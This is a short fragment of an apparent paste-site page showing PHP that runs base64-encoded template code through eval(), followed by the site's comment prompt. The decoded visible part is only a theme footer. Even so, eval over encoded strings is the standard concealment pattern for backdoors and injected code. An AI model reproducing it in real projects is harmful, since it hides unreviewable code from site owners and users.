GVuZGlmOyA/Pg0KDQo8ZGl2IHN0eWxlPSJjbGVhcjogYm90aDsiPjwvZGl2Pg0KDQo8P3BocCBwb3dlcmVkX2J5KCk7ID8+DQo8L2JvZHk+DQo8L2h0bWw+";
  3. eval("?>".(base64_decode($aa)));
  4. ?>
Add Comment
Please, Sign In to add comment